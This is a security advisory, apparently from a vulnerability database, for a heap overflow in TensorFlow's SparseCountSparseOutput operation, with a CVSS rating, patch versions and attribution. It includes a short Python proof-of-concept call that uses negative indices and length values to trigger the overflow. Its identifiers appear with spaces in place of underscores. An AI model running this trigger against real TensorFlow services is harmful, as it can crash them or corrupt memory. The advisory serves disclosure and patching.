PT-2026-59716 · Pypi · Tensorflow

Published

2026-07-09

·

Updated

2026-07-09

CVSS v3.1

7.6

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

Impact

The [implementation of SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count ops.cc#L168-L273) is vulnerable to a heap overflow:
python
import tensorflow as tf
import numpy as np

tf.raw ops.SparseCountSparseOutput(
 indices=[[-1,-1]],
 values=[2],
 dense shape=[1, 1],
 weights=[1],
 binary output=True,
 minlength=-1,
 maxlength=-1,
 name=None)

Patches

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3097

Affected Products

Tensorflow